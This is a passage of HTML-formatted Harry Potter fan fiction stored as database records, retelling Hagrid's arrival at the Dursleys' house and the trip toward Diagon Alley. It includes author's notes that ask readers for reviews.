Harry\'s\nreaction he left it at that, leaving Harry speechless and amazed that he wasn\'t\nto be punished at all it seemed for punching Vernon.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Vernon,\' Aunt Petunia was saying later in a\nquivering voice, \'look at the address - how could they possibly know where he\nsleeps? You don\'t think they\'re watching the house?\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Watching - spying - might be following us,\'\nmuttered Uncle Vernon wildly.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'But what should we do, Vernon? Should we write\nback? Tell them we don\'t want -\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'No\' he said finally \'No, we\'ll ignore it. If they\ndon\'t get an answer ... yes, that\'s best ... we won\'t do anything...\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'But-\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'I\'m not having one in the house, Petunia! Didn\'t we\nswear when we took him in we\'d stamp out that dangerous nonsense?\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">That evening when he got back from work, Uncle\nVernon did something he\'d never done before, he visited Harry in his cupboard.\nOr rather he visited Harry AT his cupboard as he was much too big to fit\ninside.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Where\'s the letter?\' said Harry the moment Uncle\nVernon had opened the door. \'Who\'s writing to me?\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'No one. It was just some joker\'s idea of a prank.\'\nsaid Uncle Vernon shortly \'I have burned it.\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'It had my cupboard on it. How\'d they know where I\nlive?\' asked Harry.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'SILENCE!\' yelled Uncle Vernon, and a couple of\nspiders fell from the ceiling. He took a few deep breaths and then forced his\nface into a smile, which looked quite painful.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Er - yes, Harry - about this cupboard. Your aunt\nand I have been thinking... you\'re really getting a bit big for it ... we think\nit might be nice if you moved into Dudley\'s second bedroom.\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Why?\' said Harry</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Don\'t ask questions!\' snapped his uncle. \'Take this\nstuff upstairs, now!\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">The Dursleys\' house had four bedrooms: one for Uncle\nVernon and Aunt Petunia, one for visitors (usually Uncle Vernon\'s sister,\nMarge), one where Dudley slept and one where Dudley kept all the toys and\nthings that wouldn\'t fit into his first bedroom. It only took Harry one trip\nupstairs to move everything he owned from the cupboard to this room. He sat\ndown on the bed and stared around him. Nearly everything in here was broken.\nThe month-old cine-camera was lying on top of a small, working tank Dudley had\nonce driven over next door\'s dog; in the corner was Dudley\'s first-ever\ntelevision set, which he\'d put his foot through When his favourite programme\nhad been cancelled; there was a large birdcage which had once held a parrot\nthat Dudley had swapped at school for a real air-rifle, which was up on a shelf\nwith the end all bent because Dudley had sat on it. Other shelves were full of\nbooks. They were the only things in the room that looked as though they\'d never\nbeen touched.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">From downstairs came the sound of Dudley bawling at\nhis mother: \'I don\'t want him in there... I need that room... make him get\nout.\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Harry sighed and stretched out on the bed. Yesterday\nhe\'d have given anything to be up here. Today he\'d rather be back in his\ncupboard with a REAL letter addressed to him than up here without it.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Next morning at breakfast, everyone was rather\nquiet. Dudley was in shock. He\'d screamed, whacked his father with his\nSmeltings stick, been sick on purpose, kicked his mother and thrown his\ntortoise through the greenhouse roof and he still didn\'t have his room back.\nUncle Vernon and Aunt Petunia kept looking at each other darkly.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">When the post arrived, Uncle Vernon, who seemed to\nbe trying to be nice to Harry, made Dudley go and get it. They heard him\nbanging things with his Smeltings stick all the way down the hall.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">This time there was no letter to Harry.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">The alarm clock that Harry had repaired along with\nseveral other of Dudley&#8217;s toys rang at eight o\'clock the next morning. Harry\nturned it off quickly and dressed silently. He mustn\'t wake the Dursleys. He\nstole downstairs without turning on any of the lights. The Dursleys usually\ndidn\'t mind when he turned on lights while he was making breakfast but with the\nodd way they had been acting yesterday he wasn\'t about to take any chances.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">The whole day went like this with Harry avoiding\ncontact with the Dursleys as much as possible. In fact after serving breakfast\nHarry left for the Dojo and he spent the rest of the day there training with\nMr. Osakawa. He was among the top students there and the people there had only\ngood to say of him. Especially Mr. Osakawa who had never regretted offering\nfree lessons to Harry. (Harry had never told the Dursleys about the lessons and\nthey had never bothered to ask where he spent all his time away from the\nhouse.)</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">That night as Harry was lying in bed listening to\nthe rain on the windows of his new room. He realized that it was Monday and\nthat in just a few minutes it would be Tuesday and he would turn eleven! To\nmost kids this would be something to celebrate but to Harry it was just another\nday with no more importance than the fact that he would be one more year closer\nto the day he could leave the Dursleys.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Aunt Petunia and Uncle Vernon were downstairs still\nwatching TV and complaining about the weather forecast. The thunderstorm that\nthey were having tonight was to continue on until Wednesday afternoon.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Oh my poor geraniums. This weather will drown\nthem!\' Aunt Petunia cried shrilly.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Harry didn\'t mind though. In fact he quite enjoyed\nthunder and lightning. All that power and force somehow excited him and he\nwished, oddly, that he could be outside to join it.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Just one minute to go now and he would be eleven. He\ncounted down the seconds on his alarm clock. Dudley\'s snores were drowned by\nthe low rolls of thunder that started near midnight. He lay and watched his\nbirthday tick nearer, wondering if the Dursleys would remember at all and a\nlittle surprised that he himself had remembered.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Forty-five seconds to go. Harry heard something\ncreak outside. He hoped the old tree outside his window wasn\'t about to topple\nonto the house in the strong winds. </p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Forty seconds to go. </p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Thirty seconds to go. What was that funny crunching\nnoise? It sounded like something walking along the gravel road outside the\nhouse.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Ten seconds to go and he\'d be eleven. Ten nine -\nmaybe he\'d wake Dudley up, just to annoy him -three - two - one -BOOM.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">The whole door shook and Harry sat bolt upright in\nbed. Someone was outside, knocking to come in.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">BOOM. They knocked again. Dudley jerked awake in the\nroom next to Harry\'s.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Where\'s the cannon?\' he said stupidly.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Harry leaped out of bed and rushed down the stairs\nto the front door with Dudley close behind.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">There was a crash behind them and Uncle Vernon came\nskidding into the room. He was holding a rifle in his hands.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Who\'s there?\' he shouted. \'I warn you - I\'m armed!\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">There was a pause. Then - SMASH!</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">The door was hit with such force that it swung clean\noff its hinges and with a deafening crash landed flat on the floor.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">A giant of a man was standing in the doorway. His\nface was almost completely hidden by a long, shaggy mane of hair and a wild,\ntangled beard, but you could make out his eyes, glinting like black beetles\nunder all the hair.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">The giant squeezed his way into the house, stooping\nso that his head just brushed the ceiling. He bent down, picked up the door and\nfitted it easily back into its frame. The noise of the storm outside dropped a\nlittle. He turned to look at them all.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Couldn\'t make us a cup &#8216;o tea, could yeh? It\'s not\nbeen an easy journey.\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">He strode over to the sofa where Dudley sat frozen\nwith fear.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Budge up, yeh great lump,\' said the stranger.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Dudley squeaked and ran to hide behind his mother,\nwho was crouching, terrified, behind Uncle Vernon.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'An\' here\'s Harry!\' said the giant.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Harry looked up into the fierce, wild, shadowy face\nand saw that the beetle eyes were crinkled in a smile.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Las\' time I saw you, you was only a baby,\' said the\ngiant. \'Yeh look a lot like yer dad, but yeh\'ve got yer mum\'s eyes.\'</p>\n\n\n\n\n\n\n'),
	(17, 3, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN- Here it is everyone. The first chapter that\nI wrote myself without taking anything other than the plot from the book. Hope\nyou enjoy it and continue to read the rest of this story and, of course, I hope\nyou give me lots of advice! That means review! And in case you&#8217;re wondering\nwhat I mean by &#8216;advice&#8217;, I mean, point out what you didn&#8217;t like, or what was\nincorrect, or anything else like that and tell me what you think I should do to\nfix it. If you can&#8217;t think of how to make it better though, I still would like\nto know what you think needs to be changed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Other than Uncle\nVernon, Harry had been the only one not hiding behind someone else when this\ngiant of a man made his entrance. The Dursleys couldn\'t seem to find any words\nfor this colossus that had invaded their home. Vernon and Petunia seemed more\nafraid of him than necessary considering that Vernon had a shotgun pointed at\nthe man\'s belly while the other was apparently unarmed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry on the other\nhand didn\'t fear him at all. In fact this wild looking man seemed quite\nfamiliar to him and he found himself thinking of the dream he had had of a\nflying motorbike. Harry blinked and shook his head as what the man had said\nfinally registered.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'You.. You know my parents?\'\nHarry asked hopefully. Perhaps this man would answer the questions that the\nDursleys refused to even acknowledge.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Mention of Harry\'s\nparents seemed to startle the Dursleys out of their fear induced stupor and\nVernon took an almost tentative step forwards keeping the gun between him and\nthe giant.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'S-stop right there!\'\nVernon roared, sounding much more confidant than he looked. \' I\'ll have you\nknow that you can be arrested for this! Leave immediately b-before I call the\npolice!\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The giant grunted in\namusement and bent the barrel of the gun back in Vernon\'s face as though it was\nmade of tinfoil.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' What\'s the matter\nDursley? Afraid Harry\'ll find out what you lot \'o bleaters haven\'t been telling\nhim? Are yeh afraid he might want to pay back all the kindness yeh\'ve shown him\nall these years once he learns a few tricks of Lilly\'s?\' The Man asked with a\nsort of eager gleem in his eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">At this all of the\nDursleys shot Harry a sort of hunted look then turned and fled from the room\nleaving Harry alone with the person that had scared them half to death. Yet\nHarry found himself fighting not to smile at this beast of a man. After all if\nhe knew Harry\'s parents then he couldn\'t be all that bad could he?</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Excuse me but who\nare you? Do you really know my parents?\' Harry inquired after the man who was\nstill glaring at the doorway the Dursleys had made their exit through.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Oh! Beggin\' yer\npardon Harry I suppose I should introduce myself. I\'m Rubeus Hagrid, Keeper of\nKeys and Grounds at Hogwarts.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry was about to\nask \'Hog-what\'s?\' but was stopped when Hagrid stood up and let out a groan as\nhe stretched that sounded more like a large lion\'s roar.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Now I\'m sure yeh\'ve\ngot plenty \'o questions for me but would you mind waiting &#8216;til tomorrow? Only\nI\'ve had a long trip to get you that letter and I could use the rest.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Seeing as he had been\nwaiting all his life to find out about his parents Harry decided that one more\nnight wouldn\'t make much difference and just nodded wondering where Hagrid\nintended to sleep (he doubted that even the sofa was long enough to fit the\ngiant) and whether the Dursleys intended anymore trouble.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">However the problem\nof where Hagrid would sleep was solved when the sofa stretched to fit Hagrid\nafter he waved his pink umbrella at it. Up until now Harry hadn\'t really\nbelieved that this was for real, but he surely did now. Unfortunately Hagrid\nwas already asleep but Harry knew there was no way he\'d be able to get to sleep\nso he sat down beside the sofa and thought about what was going to happen come\nmorning.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The next morning\nHagrid woke to the smell of bacon and eggs that Harry was making both out of\nhabit and because he was sure that after a long journey someone as big as\nHagrid was would need a good breakfast. He hadn\'t seen or heard the Dursleys\nsince last night. He wasn\'t really worried about them. In fact he found himself\ncaring less and less whether they\'d let him stay in the house anymore after the\nevents of the previous night.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \' Mmmmm... What\'s cookin\' Harry?\'\nHagrid asked as he got to his feet and returned the sofa to it\'s normal size.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Breakfast.\' Harry\nreplied as he set out a plate for Hagrid and himself.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">As they ate Harry\ntried to sort out what questions he wanted to ask first. He hadn\'t been able to\nsort out his thoughts the night before and right now the only thing he could\nthink of was finding out more about his parents. He had always wanted to know\nall about them but the Dursleys refused to talk about them and got mad if he\nasked why. However, Harry had a feeling that this Hagrid wouldn\'t keep anything\nfrom him if he asked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">As they finished\ntheir meal Harry was just about to start bombarding Hagrid with questions about\nhis parents but Hagrid beat him to the punch.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Well now I\'m\nguessing that you\'ll be wanting to hear all about your parents eh?\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">All Harry could do\nwas nod.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Well Harry first\nthing you need to understand is that Most of what the Dursleys have told isn\'t\ntrue. About your parents I mean. The fact is that your parents were wizards.\'\nHagrid chuckled at the shocked look on Harry\'s face. But then Harry got a sort\nof wary look.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' But I was always\ntold that there\'s no such thing as magic.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Yes but that\'s\nbecause the Dursleys are obviously afraid you\'ll follow in your parents\nfootsteps and become a great wizard just like them, also I\'m fairly certain the\nonly other people that you\'ve talked to have been muggles.&quot; Hagrid stated\nwith a triumphant look.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry was confused.\nThe Dursleys he could understand as he was starting to realize that the way he\nhad been treated all these years wasn\'t normal as he had always believed, but\nmuggles? What were those?</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Seeing the confused\nlook in Harry\'s eyes Hagrid explained \' Muggles are what wizard folk call\nanyone with no knowledge of the wizarding world. Sorry Harry I forgot that you\nwould have no way of knowing such things. The Dursleys were supposed to have\nexplained everything once they thought you were old enough. Gosh there\'s such\nan awful lot that needs to be explained... but I\'m not sure I\'m the one ter do\nit....\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hagrid didn\'t want to\nbe the one to have to explain the circumstances surrounding the death of\nHarry\'s parents and the origin of his scar but he could see that he was\nprobably the only one that Harry would trust to tell him the truth right now so\nhe took a deep breath and started to explain all about the wizarding world.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Well it all starts\nwith an evil wizard. He was so evil that just saying his name kinda scares me.\nI know it\'s silly but I really can\'t help it so I\'m only going to say it\nonce....\' Hagrid and Harry sat at the table and talked about the wizarding\nworld until late in the afternoon.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Well I\'ve told you\nall the major things that yeh need to know. The rest you\'ll have to pick up as\nyou go along.\' Hagrid finished.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry now knew all\nabout why he was famous and all about Hogwarts and many other things but all he\ncould think of was his parents. Not the fact that they were dead but he just\nkept imagining them the way that Hagrid had described them. Harry knew that if\nthey hadn\'t died things would have been much better for him but as he had never\nexperienced any other kind of life he had nothing to compare the life he DID\nhave with so he was able to forget that he might have had a much better life if\nonly...</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'I know it\'s a lot to\nsoak up all at once Harry so hows about we go and get your school supplies for\nthis year?\' Hagrid asked gently.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry looked up\nsmiling but all at once his face fell.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' I don\'t think that\nthe Dursleys will want to pay for me to go to Hogwarts.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hagrid laughed\nmerrily. \' Yeh don\'t think we\'d let a bunch of great hairy oafs like the\nDursleys stand in the way of Harry Potter, son of Lily and James Potter, going\nto the finest wizardry school in the world do yeh?! Most of yer parents\nbelongings were destroyed in the attack but they kept their gold in Gringotts\nnot in their house! Don\'t yeh worry about money, just you make sure you do your\nparents proud.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">At this news, that he\nwould be leaving \'the house\' and going to a world famous (okay WIZARDING WORLD\nfamous) school to learn about magic and that the Dursleys wouldn\'t be allowed\nto stop him it was all he could do to keep from bouncing off the walls.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' When do we leave?\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' As soon as you get\nall yer stuff together.\' replied Hagrid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AN- Hope this chapter is better than the last\ntwo. Not that those two weren\'t good just that they weren\'t really mine. Again\nI LOVE reviews! Anything you have to say I want to hear the bad AND the good.\nPlease everyone I would love any advice you have on how to write better or how\nthe story should go in this version.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 4, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN-\nOkay as far as I can tell not much has been happening in the story yet but I\nbelieve that that will start to change in the next few chapters as Harry starts\nto meet new people. I warn everyone that likes Malfoy, I DON\'T like him and\nthere will probably be some Draco Bashing although I am contemplating whether\nof not to make him evil or just misguided in the end (after year four so it\'s a\nlong way off). Not much else to say except that I live for reviews and to once\nagain thank everyone that has reviewed so far. :-)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' When do we leave?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' As soon as you get all yer stuff together.\'\nreplied Hagrid.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry turned and was halfway to the stairs before he\nrealized that he had nothing he wanted to take with him. He turned around and\nsmiled sheepishly at Hagrid.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Just remembered that I don\'t have anything that\nI\'d want to take with me...\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Hagrid laughed grimly \'Hmmh. I don\'t suppose that\nthe Dursleys would have given you anything worth keeping anyway. Well then I\nsuppose we should be on our way. I\'ve got some business to take care of for\nDumbledore and then we\'ve got to find someplace for you to stay for the rest of\nthe holidays.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' The rest of the holidays? You mean I won\'t have to\ncome back here?\' said Harry grinning from ear to ear.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well not for THIS summer but I expect that\nDumbledore will want you to come back here once the first term is over. He had\nhis reasons for leaving you here so there\'s no point in arguing.\' But then\nHarry wasn\'t about to argue. Everything that had happened already was too\nwonderful for Harry to feel bad about returning to the Dursleys at the end of\nterm.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">As they left they spared not a thought for what had\nhappened to the Dursleys last night.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Since they needed to get to The Leaky Cauldron in\norder to get to Diagon Alley where Hagrid said they could buy Harry\'s school\nsupplies they took the bus. Unfortunately neither Harry nor Hagrid had any\nexperience at taking the muggle bus. Harry because he never had the money and\nHagrid because he had never needed muggle transportation, surrounded as he was\nby magic at Hogwarts. They ended up creating quite a fuss trying to figure out\nwhat they had to pay to ride the bus and who to give it to. Finally Hagrid just\ngave up and handed all the muggle money he had on him to the driver, who gave\nhim an odd look and signalled for him to move to the back of the bus.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">After missing their stop a total of three times they\nfinally got off at the right stop and Hagrid pointed to a bleak looking bar\nwith a sign proclaiming &quot;The Leaky Cauldron&quot; in peeling gold letters.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' THAT\'S where we need to go to get to Diagon\nalley.\' Hagrid announced.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">It didn\'t look a thing like what Harry had pictured\na magical pub to be and he said so to Hagrid.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well o\' \'course it don\'t LOOK like anything\nspecial! At least from the outside. In fact there\'s a charm on it so that only\nwizards or other creatures with magic will notice it. Anyone without magic or\nnew to it won\'t notice it. In fact I\'m surprised that you were able to see it\nright away!\' he beamed proudly.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well you did point it out to me.\' Harry answered.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' True. But even so....\' Hagrid mumbled. \' Standing\nabout out here 